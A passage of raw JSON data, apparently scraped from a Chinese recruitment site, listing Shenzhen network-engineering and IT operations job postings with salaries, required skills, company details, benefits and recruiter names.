"contact": false }, { "securityId": "k1FbCz4vlxhV--z1SobHl4TgoMfldn6YAZ0g6LA1ZaeZ_fqbrFHOKfUsepxz0Ful9XmPjD7N_19w4OhRziT95UhgnnnuaMQxijEKtJNIFYDdokqlP8fHHaV-xHOphAnCWgEAxx9J", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230203/607f1f3d68754fd0c6c12cf082aa6c31f7e4814a2d2e6d1012a2e1a9a4e2eac0a8cdfab0d6f2513b_s.png", "bossCert": 3, "encryptBossId": "f1f63aa31d63b6d91XR40tS0F1Y~", "bossName": "杨女士", "bossTitle": "hr", "goldHunter": 0, "bossOnline": false, "encryptJobId": "7d3cdd304c00d29c1Xx50ti8FVZY", "expectId": 92940501, "jobName": "网络运维工程师", "lid": "1ITuGMdwQL2.search.12", "salaryDesc": "12-18K·14薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "解决网络故障", "网络变更升级" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 12, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1688861434000, "encryptBrandId": "04c7b714a00090a81HFy3t--", "brandName": "南凌科技", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20180408/2e30d704b5fdff003e0933809c86262bcfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "已上市", "brandIndustry": "通信/网络设备", "brandScaleName": "500-999人", "welfareList": [ "节日福利", "交通补助", "零食下午茶", "年终奖", "股票期权", "补充医疗保险", "通讯补贴", "五险一金", "带薪年假", "全勤奖", "餐补", "员工旅游" ], "industry": 100024, "contact": false }, { "securityId": "1LXDAy5rNfjDI-71Qzqm93vyoyboLLcfw4GC6UI59IdZKtTAzo3kv_UYSA8gLyAV3dbUgCDx-ENT1DEqG7VDTTsQqXe4t-eeOXjLFB0FVO4YFzOTy_7Ijgzd4CWxOBJXIf_52XahHjE~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230519/607f1f3d68754fd0e48d82b65268143511eee1a96e3a0fe4c190467ffc0899219414588fb29eacd5_s.png", "bossCert": 3, "encryptBossId": "700dd3712360c89b0H1_3Ny4EFU~", "bossName": "侯小丹", "bossTitle": "人事经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "923945628ca2a83c1nN82ti4EFZW", "expectId": 92940501, "jobName": "运维", "lid": "1ITuGMdwQL2.search.13", "salaryDesc": "8-12K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "系统运维", "网络运维" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "光明区", "businessDistrict": "光明", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 13, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1687157326000, "encryptBrandId": "1b220fa752512a3c1nx72t-4EFQ~", "brandName": "兰盾", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20220210/7bf6f160950405e92f25e49bcd8ff779aed6a08877a85e5ec190467ffc0899219414588fb29eacd5.jpg", "brandStageName": "未融资", "brandIndustry": "通信/网络设备", "brandScaleName": "100-499人", "welfareList": [ "节日福利", "五险一金", "生日福利", "定期体检", "餐补", "带薪年假", "零食下午茶", "年终奖" ], "industry": 100024, "contact": false }, { "securityId": "rZ9pSodyhAMdM-R1WQixVjVnSt60NcU8z_WK31XqJj0OD2pUG9k2pInfwSWYnhexKMTjky6PrRxfsRiRi_FqsynuRxaJlrxk8pvsYuRK_NX-AbT1GsBxpnlJGX9gluwM4JuF_stU-_8b", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_9.png", "bossCert": 3, "encryptBossId": "b460f91f9dc76e521nZ43Nu8FFFR", "bossName": "秦女士", "bossTitle": "人事行政", "goldHunter": 0, "bossOnline": false, "encryptJobId": "dd021d20896714631XNz2N68FVZR", "expectId": 92940501, "jobName": "高级网络工程师", "lid": "1ITuGMdwQL2.search.14", "salaryDesc": "10-12K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "网络运维经验", "CCIE", "HCIE", "网络设备、故障处理" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "龙岗区", "businessDistrict": "康桥", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 14, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1686701103000, "encryptBrandId": "4b7cc86c014771001nd729m8ElM~", "brandName": "深云通", "brandLogo": "https://img.bosszhipin.com/beijin/app/mobile/normal-0e3f1e4441a21d4874cece3a3d81f0fe.png", "brandStageName": "", "brandIndustry": "通信/网络设备", "brandScaleName": "0-20人", "welfareList": [], "industry": 100024, "contact": false }, { "securityId": "2os5EZb5mFVmC-F1yhqbblDele20oh6lphGK3wIyrHzzhj5cXX2O3q0cR9G-Lt-kbGFGtQsixc2FA2mlz0p3MufI1usNndi-Gq1PXtXItfU7wdRZ7pz9oia06sbZvF-XDePLTgTYq7g~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_3.png", "bossCert": 3, "encryptBossId": "8f6dca0ca06583b90nJ_09y5GFdU", "bossName": "徐女士", "bossTitle": "HR", "goldHunter": 0, "bossOnline": false, "encryptJobId": "972704427b268d9c1XN429W1GFFR", "expectId": 92940501, "jobName": "网络工程师(深圳南山+双休)", "lid": "1ITuGMdwQL2.search.15", "salaryDesc": "7-12K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "计算机相关专业", "网络运维经验", "网络安全相关经验", "HCIE", "CCNA/CCNP" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "车公庙", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 15, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1684121009000, "encryptBrandId": "30a23a77841043cd0HB_3tW8FA~~", "brandName": "广东云杰通信有限公司", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20200421/6fdc7e0256869e7c6dc2ff620ed4cf46ef46720111b70ea34774f7f1aa39d29a_s.jpg", "brandStageName": "未融资", "brandIndustry": "通信/网络设备", "brandScaleName": "20-99人", "welfareList": [ "五险一金", "节日福利", "通讯补贴", "带薪年假", "加班补助", "零食下午茶", "员工旅游", "年终奖", "交通补助" ], "industry": 100024, "contact": false }, { "securityId": "gZKykVO6ZOo0d-G1Q378AmcDzCLNpibWqHqEN8Q9gRFXzgUUZYI_qsEv-oYogwy5qfrWDOHEAbmbyY3FuBFmM8GrlNi43eO-_lZA38QLfa_R0hMRLSVZYf3Sn-1kfluI9bDKaAmk", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20210705/e26239032b5bc86aff3cf554eab0235df3ef7cd47b88fea34a6327b7ccd92316_s.png", "bossCert": 3, "encryptBossId": "ac26339674515bf51nVz09u-EFU~", "bossName": "赖先生", "bossTitle": "人事经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "f7922fa303c248070nB63Nq8FFQ~", "expectId": 92940501, "jobName": "网络工程师", "lid": "1ITuGMdwQL2.search.16", "salaryDesc": "8-13K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "网络安全相关经验", "网络安全服务", "网络协议", "网络安全" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "", "businessDistrict": "", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 16, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689815044000, "encryptBrandId": "66b972465092edff0nB_2N-8FQ~~", "brandName": "伟众信息", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20220510/7bf6f160950405e9bc687861bab27fdaa6319f7928a0c5d2f3ef7cd47b88fea34a6327b7ccd92316.jpg", "brandStageName": "未融资", "brandIndustry": "计算机硬件", "brandScaleName": "20-99人", "welfareList": [ "年终奖", "交通补助", "带薪年假", "商业医疗保险", "定期团建", "补充医疗保险", "员工旅游", "通讯补贴", "节日福利", "零食下午茶", "五险" ], "industry": 100022, "contact": false }, { "securityId": "iMrLx0BheVpWw-z10j0ayUfYYK-9pR7YtfixFHQUs_5mUaJNF6PQtH8JwrnGATjlwwfGV_6BzfSK0k22ERGSWV4v6xh876HbiNfI_t0A3AVX1Wi4dNlorB6zsfpliiHb7crnT7Bl2xU~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/tmp/20200817/4da807ab85bdacd6ac651aad0bebde5656b4bc366debeeb4e53f48dda0a25da7_s.jpg", "bossCert": 3, "encryptBossId": "1e932919b1b876510Xxz2t-7FlQ~", "bossName": "曾女士", "bossTitle": "HRBP", "goldHunter": 0, "bossOnline": false, "encryptJobId": "29228ec4f9e2fd341X182dq4E1dV", "expectId": 92940501, "jobName": "云计算中级工程师", "lid": "1ITuGMdwQL2.search.17", "salaryDesc": "8-12K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "linux和windows", "云计算HCIP证书", "云计算HCIE证书" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "车公庙", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 17, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689232217000, "encryptBrandId": "3f210690b5a6d9ff1n1509q7EFo~", "brandName": "嘉环科技股份有限公司", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/3fed19e4a6d85ffa4fce33b84fef59fecfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "已上市", "brandIndustry": "通信/网络设备", "brandScaleName": "10000人以上", "welfareList": [ "五险一金", "带薪年假", "通讯补贴", "节日福利" ], "industry": 100024, "contact": false }, { "securityId": "-Awx7T_5vMWz2-81QwisSgQWuJhRKDMmGZ7KBdDbEb69N7qkSH2FcTthUzljjKUnXSYf0vAynwBVBpwig52SJAzm1qs0sp-b1o5mKC52Jh1qCIr-RziWObg-mHImr_P3Dfw0c6CmiA~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20220630/607f1f3d68754fd0d13537221f04cd689a70bffdd39e6507053319c65556853af338ee890e7afb55_s.png", "bossCert": 3, "encryptBossId": "db2bbec26e8015410nZ53tq7GVJZ", "bossName": "孙女士", "bossTitle": "招聘专员", "goldHunter": 0, "bossOnline": false, "encryptJobId": "71f4a721dc04c73d1X170ty4FVtT", "expectId": 92940501, "jobName": "云迁移工程师(深圳)", "lid": "1ITuGMdwQL2.search.18", "salaryDesc": "10-13K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "云迁移" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "岗厦", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 18, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689124080000, "encryptBrandId": "89940d9672295df40HR93t-6", "brandName": "广州瀚信", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/bar/20200327/69ec94943fcddde3acea1dbe60a7d7c8be1bd4a3bd2a63f070bdbdada9aad826.jpg", "brandStageName": "D轮及以上", "brandIndustry": "通信/网络设备", "brandScaleName": "1000-9999人", "welfareList": [ "高温补贴", "年终奖", "通讯补贴", "团建聚餐", "法定节假日三薪", "加班补助", "员工旅游", "节假日加班费", "零食下午茶", "五险一金", "带薪年假", "生日福利" ], "industry": 100024, "contact": false }, { "securityId": "K4FwOaRODqy0O--1WOeqPvSB-nZGakjZY3buK6JKQzJ8kIacsv5y2j6CZsgB8oHz1kHZ1HBzcxhY6FSzXz4u9k8jucBTOpqb6afJB1xP3zkeb7q9nbCvggBZkvcPl0pSWwrkPXZPeg~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20211201/607f1f3d68754fd0940f5026ef9096640e746848069b130a619389e36fc3c64181c521421a416f5e_s.png", "bossCert": 3, "encryptBossId": "7bf24565491acce31HJ80tS1GFM~", "bossName": "杲女士", "bossTitle": "人事经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "5c841b2cc685cc811Xx62dS9EVNY", "expectId": 92940501, "jobName": "IT运维工程师", "lid": "1ITuGMdwQL2.search.19", "salaryDesc": "11-18K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "桌面运维", "网络运维", "系统运维", "ERP", "OA", "钉钉" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "龙华区", "businessDistrict": "大浪", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 19, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681957856000, "encryptBrandId": "82851cf3d8502c5b03B609i5Ew~~", "brandName": "信丰伟业", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/logo/20190513/b9577f6bb55720a0700fe4e8864856e609d30b085f5f1992b426759c15b7ef89.jpg", "brandStageName": "未融资", "brandIndustry": "通信/网络设备", "brandScaleName": "100-499人", "welfareList": [ "节日福利", "年终奖", "员工旅游", "带薪年假", "五险一金", "零食下午茶", "补充医疗保险", "全勤奖", "餐补", "股票期权", "定期体检", "交通补助", "加班补助" ], "industry": 100024, "contact": false }, { "securityId": "RDcWHlNBkc1RH-D11av9nBkqjYq-5qdBK-vqENTd-fFQ1p3zoEBx8ACbcT488u_ohx1Jx26LHRl2mBtrObdUz96XoV9z7aJdqudqhMl_dwCV_scTCmeuO60KFqrc9R44Hzs4RLjtwA~~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_7.png", "bossCert": 3, "encryptBossId": "edca582ce503c55b1n152NS1FVs~", "bossName": "梁先生", "bossTitle": "HRD", "goldHunter": 0, "bossOnline": false, "encryptJobId": "90d2cd075837e6931X183N26GVFR", "expectId": 92940501, "jobName": "运维主管", "lid": "1ITuGMdwQL2.search.20", "salaryDesc": "16-20K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "系统运维", "实施交付运维", "IDC机房运维", "VSAN", "虚拟化", "基础架构运维" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "车公庙", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 20, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689815953000, "encryptBrandId": "c802047548dea3101nB909m9Fw~~", "brandName": "华创云鼎", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20180224/11dde8e3d29c4ef1bd8423d4126dd2016dd84f062dbb7f72772bb2a44df8e0e4.jpg", "brandStageName": "未融资", "brandIndustry": "计算机服务", "brandScaleName": "100-499人", "welfareList": [ "带薪年假", "零食下午茶", "发展空间大", "五险一金", "节日福利", "员工旅游", "股票期权", "年终奖", "带薪培训", "年终奖" ], "industry": 100023, "contact": false }, { "securityId": "riJ6ALmvkFWQS-K1YCX1ND_QsZ6EGiYYdqJZPRSu4IV10AFvVtDExynP9j6vVb99t8wC54j9JQaWIH6krElMplWDLGxTXNIvbrJapFbaOE1cxscXFcwMfna_-VsnCo3vq5Fl5WkNEA~~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_2.png", "bossCert": 3, "encryptBossId": "5a2fde8bd04543201Xx43t29F1U~", "bossName": "唐女士", "bossTitle": "hr", "goldHunter": 0, "bossOnline": false, "encryptJobId": "40b1af1a87b927691Xx63Nu8F1JW", "expectId": 92940501, "jobName": "高级网络工程师", "lid": "1ITuGMdwQL2.search.21", "salaryDesc": "15-25K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "网络建设/系统集成经验", "CCIE", "网络规划设计", "交换机配置", "故障处理" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "大冲", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 21, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1687306867000, "encryptBrandId": "0473889366fda6ae1nZ-3Nm7EQ~~", "brandName": "天锐计算机", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20171117/b7c4fd5ad4f9f4aec87e202567c96dbecfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "不需要融资", "brandIndustry": "通信/网络设备", "brandScaleName": "20-99人", "welfareList": [ "全勤奖", "定期体检", "加班补助", "五险一金", "交通补助", "餐补", "员工旅游", "带薪年假", "通讯补贴", "年终奖", "零食下午茶", "节日福利" ], "industry": 100024, "contact": false }, { "securityId": "w02x_BzreXAKX-U1myCUzl89KnjQEOoTdDKv2zMkwfnIQkF35oVpMpiwu9D6s014cR66WDrVyzqNPA6nehHEfuxN0coWSjZaVHm-rOU68a4M4Cux__1mOf-7Hus8snuPxnvJg7597MA~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_3.png", "bossCert": 3, "encryptBossId": "6aba3fbdb83c55d70nR739W5ElFT", "bossName": "陶沙", "bossTitle": "HR", "goldHunter": 0, "bossOnline": false, "encryptJobId": "09ef2ec5ad7ac9931nZ-3NW_FlNX", "expectId": 92940501, "jobName": "售后技术支持工程师", "lid": "1ITuGMdwQL2.search.22", "salaryDesc": "11-20K·15薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "硬件", "系统运维", "自动化运维", "网络协议" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "光明区", "businessDistrict": "公明", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 22, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689035775000, "encryptBrandId": "b8c042f6e9319c831HZ50ty9EA~~", "brandName": "LASERX", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20210707/3339224ccbcbcfeae1d2197bf41e329ba25bf9dd0892a3973974678527bf7a03.jpg", "brandStageName": "A轮", "brandIndustry": "通信/网络设备", "brandScaleName": "100-499人", "welfareList": [ "年终奖", "定期体检", "餐补", "绩效奖金", "带薪年假", "团建聚餐", "住房补贴", "全勤奖", "加班补助", "通讯补贴", "节日福利", "免费工装", "交通补助" ], "industry": 100024, "contact": false }, { "securityId": "IsIL0SCgAy1eq-i1UHfQEf20JbZhYCRChV5xIJWFTrE5AISw1n1VaWKxdQaCEeT3hWpWjZMKQtRezSKlxd8DcWSWwM9p1oDrVljHNIC64sqrH95Z7m73yndtMW3pJqjoLozW-8Z7ZBU~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20200326/9020b07920a19cd440f05fe967df647c933f20d558b2c46122b34026bedf56c6_s.png", "bossCert": 3, "encryptBossId": "3815322341ff97481X182du7FVY~", "bossName": "李悠", "bossTitle": "hr", "goldHunter": 0, "bossOnline": false, "encryptJobId": "921b7a2b8541d7f91X1639S0FFtV", "expectId": 92940501, "jobName": "网络工程师", "lid": "1ITuGMdwQL2.search.23", "salaryDesc": "15-18K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "通信/工程相关专业", "英文可沟通", "网络运维经验", "CCNA/CCNP", "CCIE", "Avaya IPO", "路由交换", "防火墙" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "新洲", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 23, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1686294024000, "encryptBrandId": "b85caaf734a636ad1XJ62d64FFo~", "brandName": "河南在信汇通", "brandLogo": "https://img.bosszhipin.com/beijin/icon/894ce6fa7e58d64d57e7f22d2f3a9d18afa7fcceaa24b8ea28f56f1bb14732c0.png", "brandStageName": "", "brandIndustry": "计算机服务", "brandScaleName": "20-99人", "welfareList": [ "团建聚餐", "五险一金", "带薪年假", "补充医疗保险", "保底工资", "节日福利", "定期体检", "零食下午茶", "绩效奖金", "底薪加提成" ], "industry": 100023, "contact": false }, { "securityId": "Erhojr_5qx4Pj-913hw06uRRnm6AYCx1UlHtc0TcSdyTpbBFR2Al7JCSJetD6Utusy7jvLCgzP0v-mTzcRSfr3Zhs3UjlyeZSHXZrSgcMp2s1ffeLYn6PNOZ7Zu1PrB2I2KVf4cDtQ~~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_6.png", "bossCert": 3, "encryptBossId": "241280e7c2b5f8631HJ42di-EFA~", "bossName": "许春林", "bossTitle": "招聘者", "goldHunter": 0, "bossOnline": false, "encryptJobId": "dcae5f4a2311d7601nZ53NW7FFZQ", "expectId": 92940501, "jobName": "存储技术服务工程师", "lid": "1ITuGMdwQL2.search.24", "salaryDesc": "15-16K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "云计算" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "罗湖区", "businessDistrict": "国贸", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 24, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1666353450000, "encryptBrandId": "0704b6c5ad94afbb1nJ53tq-FQ~~", "brandName": "深圳市智达信科技", "brandLogo": "https://img.bosszhipin.com/beijin/icon/894ce6fa7e58d64d57e7f22d2f3a9d18afa7fcceaa24b8ea28f56f1bb14732c0.png", "brandStageName": "不需要融资", "brandIndustry": "计算机服务", "brandScaleName": "20-99人", "welfareList": [], "industry": 100023, "contact": false }, { "securityId": "ecYaVVMMKbjEs-n1vaa_QP6sn1ZaSX7uMyT5gjZJeYY5W57gebYPYMQ9T0bqJN1gF4xUyjEZgQibNfR2ZgxZxmC3pQJOqYwrN2iwTnZ71k2lCucqmE6EHo306xAVuWoBnCtu9l51_mU~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230214/607f1f3d68754fd0f0d302a8a4fb16880a9ebb4fd77cdcb3bd2e8c08964b06a6d55dfcd716826111_s.jpg", "bossCert": 3, "encryptBossId": "cd0d13bc63558bcf1nV-296-FVtV", "bossName": "徐超丽", "bossTitle": "人事行政", "goldHunter": 0, "bossOnline": false, "encryptJobId": "f0f19eb2058b57df1X1809W-FltZ", "expectId": 92940501, "jobName": "网络工程师", "lid": "1ITuGMdwQL2.search.25", "salaryDesc": "15-20K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "网络建设/系统集成经验", "网络运维经验", "HCIE", "系统集成项目管理工程师", "网络安全相关经验", "Python" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "车公庙", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 25, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689830264000, "encryptBrandId": "e0c9e1ee5c0ecda11XB90ty6GQ~~", "brandName": "方迪科技股份", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20180830/210c56476bc4d91266d5be542c404b70cfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "已上市", "brandIndustry": "计算机服务", "brandScaleName": "100-499人", "welfareList": [ "五险一金", "定期体检", "带薪年假", "免费班车", "通讯补贴", "节日福利" ], "industry": 100023, "contact": false }, { "securityId": "ZAXWJ6UPtgLwt-x1dHE6FbtSoHRq1bADZpHOglgvNOZOsbXbhWFhjVuouhWBqWk9Pc1q8D3OsRB33OTlwQlgZNONEIPHtgNwdMcrQZ5acv7mNM8cHaCMxMbKNsI0AFy41hzGRpw~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_16.png", "bossCert": 3, "encryptBossId": "3598d39d029b0b7d0XZ60tq0EVI~", "bossName": "陈先生", "bossTitle": "人才经纪人", "goldHunter": 0, "bossOnline": false, "encryptJobId": "9bdde463b7fca4991X180ty5FFVQ", "expectId": 92940501, "jobName": "云运维工程师", "lid": "1ITuGMdwQL2.search.26", "salaryDesc": "15-16K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "系统运维", "运维经验" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "会展中心", "jobType": 0, "proxyJob": 1, "proxyType": 3, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [ 3 ], "itemId": 26, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689236814000, "encryptBrandId": "e85587c172ae1c9c3nFy3dw~", "brandName": "中国电信", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/logo/20190918/b56621be08c910937dee6316f1728d136568b00d45e0616622367e840a39e7fa.jpg", "brandStageName": "已上市", "brandIndustry": "通信/网络设备", "brandScaleName": "10000人以上", "welfareList": [ "员工旅游", "交通补助", "年终奖", "包住", "绩效奖金", "补充医疗保险", "通讯补贴", "五险一金", "节日福利", "带薪年假", "全勤奖", "定期体检", "宿舍有空调" ], "industry": 100024, "contact": false }, { "securityId": "2aazmZpnqw5oT-M1QMMg9WCEYKS30rG0Xdthn_VtlXqYoZwJHj7v5Bh2Y4GrRJUzj-wfeu6T_KfjYaIxG8jNycN2S2MY39Q7IePDDqy5SEeyXJA5G1AQ0zk0g_p-9TYZgxpZlsm2Ys4~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20221208/607f1f3d68754fd0005f9303d7e671e8a305c8f4f7cd9ec0e837b60ca3773034b4de1ccc52ad6c3a_s.png", "bossCert": 3, "encryptBossId": "7a37eb96bd401ac603B80tu4F1I~", "bossName": "邓先生", "bossTitle": "人才发展经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "3f671871966c823f1X1y2d-0E1NX", "expectId": 92940501, "jobName": "IDC机房运维值班长", "lid": "1ITuGMdwQL2.search.27", "salaryDesc": "10-15K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "IDC机房运维" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "龙岗区", "businessDistrict": "丹竹头", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 27, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689905057000, "encryptBrandId": "c275168d0b9e68451Xxy3d2-EFQ~", "brandName": "深圳市智运互联大数据", "brandLogo": "https://img.bosszhipin.com/beijin/app/mobile/normal-0e3f1e4441a21d4874cece3a3d81f0fe.png", "brandStageName": "不需要融资", "brandIndustry": "计算机服务", "brandScaleName": "20-99人", "welfareList": [ "夜班补助", "绩效奖金", "带薪年假", "节日福利", "员工旅游", "定期体检", "意外险", "团建聚餐", "生日福利", "五险一金", "零食下午茶", "年终奖", "包住" ], "industry": 100023, "contact": false }, { "securityId": "nK-tL91arisRK-_1UtiEnxgKPDDex93U9Z8jT8QRfneZN0ESrzZYzcoWCRQY3o5vv-wbYjKx4V7tqZ-41ff7luMeI95tPSXEL9DrcRsnxrJacKhwFpnmjjaskd2ajjXcuB5TaDJ40A~~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_14.png", "bossCert": 3, "encryptBossId": "40d88e293ccddf7133V-3d61EFA~", "bossName": "林建国", "bossTitle": "总经理", "goldHunter": 0, 